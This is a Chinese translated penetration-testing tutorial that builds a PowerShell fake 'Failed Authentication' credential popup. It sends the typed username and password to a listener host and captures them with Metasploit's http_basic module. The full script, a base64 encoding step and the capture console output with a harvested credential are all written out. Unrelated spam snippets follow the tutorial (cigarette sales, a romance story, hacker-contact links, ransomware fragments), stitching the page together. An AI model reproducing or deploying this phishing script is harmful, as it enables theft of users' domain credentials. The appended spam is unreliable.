本文是metasploitminute的课程 利用powershell生成一个基础认证钓鱼窗体,然后通过metasploit来capture捕获。
最酷的是不生成额外代码,可以获取任何级别用户的认证信息,无需管理员权限,无需过UAC,通过SSL方式只需要一些免费的证书。
渗透中不战而屈人之兵为上等,让管理员或者其他域用户拱手交出自己的密码当然是更好了。
视频教程在此:
powershell脚本代码:
$cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
$wc=new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result=$wc.downloadstring('https://172.16.102.163');
分解一下:
$cred=$host.ui.promptforcredential('Failed Authentication','',[Environment]::UserName,[Environment]::UserDomainName);
这步告诉windows提示凭证,我们设置的标题是“Failed Authentication”(验证失败),在弹窗里面增加了用户名和域名来提过真实性。当然这一切,都只是辅助。
[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};
告诉powershell不要验证SSL证书(允许我们后续使用自签署的证书)
$wc=new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
创建一个新的webclient对象并设置它的用户 *** 为Wget。
$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials;
告诉powershell使用当前用户可能在使用的任何 *** 及任何缓存的凭据。
$wc.credentials=new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
用户在此基础认证钓鱼中输入的密码就是安全研究人员和黑客们想要的密码,对内网渗透十分有裨益。
$result=$wc.downloadstring('https://172.16.102.163');
最后发送请求到监听机器上 监听机器上使用metasploit的capture模块
cat power.txt | iconv --to-code UTF-16LE | base64
base64一下上述代码
然后执行你就可以看到十分逼真的基础认证钓鱼窗口:
另外一边使用metasploit接收密码:
root@wpad:~/metasploit-framework# https://www.secpulse.com/archives/msfconsole -Lq
msf > use auxiliary/server/capture/http_basic
msf auxiliary(http_basic) > show options
Module options (auxiliary/server/capture/http_basic):
Name Current Setting Required Description
---- --------------- -------- -----------
REALM Secure Site yes The authentication realm you'd like to present.
RedirectURL no The page to redirect users to after they enter basic auth creds
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
msf auxiliary(http_basic) > set SSL true
SSL=> true
msf auxiliary(http_basic) > set SRVPORT 443
SRVPORT=> 443
msf auxiliary(http_basic) > set URIPATH /
URIPATH=> /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) >
[*] Listening on 0.0.0.0:443...
[*] Using URL: https://0.0.0.0:443/
[*] Local IP: https://172.16.102.163:443/
[*] Server started.
[*] 172.16.102.140 http_basic - Sending 401 to client 172.16.102.140
[+] 172.16.102.140 - Credential collected: "SITTINGDUCKASDqwe123"=> /
【原文:Powershell Popups + Capture SP小编翻译发布】
拒绝垃圾货!好货这里侑 30元 另一面是遵义价值俩个字为繁体 白色的 下面有拼音 !软包的! 贵烟也就是本来的“遵义”香烟,硬遵义25元一包,软遵义35元一包。 调价前是35一包,...
我一年前我还在在网上了解了一个远在国外自主创业但理想年纪大了居住中国的男生,样子挺严肃认真,但思绪還是挺细致,瞎聊天很有耐心,也可以照料到我 的心态,一旦发觉有点儿 情绪波动,便会不辞劳苦地开导你。...
哪里能找黑客相关问题 怎么找到黑客联系方式相关问题 网站别黑客入侵了怎么办 手机专门破qq密码的软件(专门玩游戏的手机品牌)...
今日看点: CK到底是一个什么样的品牌?它们家有哪些产品是值得买的?以下是正文 ▼ 旁友们大嘎好,终于又到了汪撕葱老湿登上历史的舞台了。 今天的『扒一扒』 我们要回答的是微信后台里@李...
在admin/plugin.php插件上传处存在上传缝隙,经过上传zip紧缩的文件,即可上传木马文件。 在plugin.php约79行处的上传点当action为upload_zip进行判别,先判别是否...
表3-1 广告服务器地址散布2019年上半年,勒索病毒进一步加强对服务器体系的攻势。 弱口令进犯仍然是勒索病毒进入受害机器的首要手法。 此外,垂钓邮件、缝隙侵略、网站挂马、运用破解或激活东西传达也是勒...